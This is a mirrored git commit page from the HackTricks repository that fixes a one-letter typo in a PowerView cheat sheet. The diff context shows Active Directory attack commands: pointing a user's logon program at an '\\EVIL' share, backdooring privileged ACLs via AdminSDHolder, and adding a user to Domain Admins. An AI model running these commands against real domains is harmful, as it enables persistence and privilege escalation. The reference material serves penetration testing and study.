mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
Merge pull request #773 from Colinatorr/master
Fix typo in powerview.md
This commit is contained in:
commit
a1290f2671
1 changed files with 1 additions and 1 deletions
|
@ -336,7 +336,7 @@ Invoke-RevertToSelf
|
|||
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
|
||||
# Set the owner of 'dfm' in the current domain to 'harmj0y'
|
||||
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
|
||||
# ackdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
|
||||
# Backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
|
||||
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
|
||||
# Add user to 'Domain Admins'
|
||||
Add-NetGroupUser -Username username -GroupName 'Domain Admins' -Domain my.domain.local
|
||||
|
|
Loading…
Reference in a new issue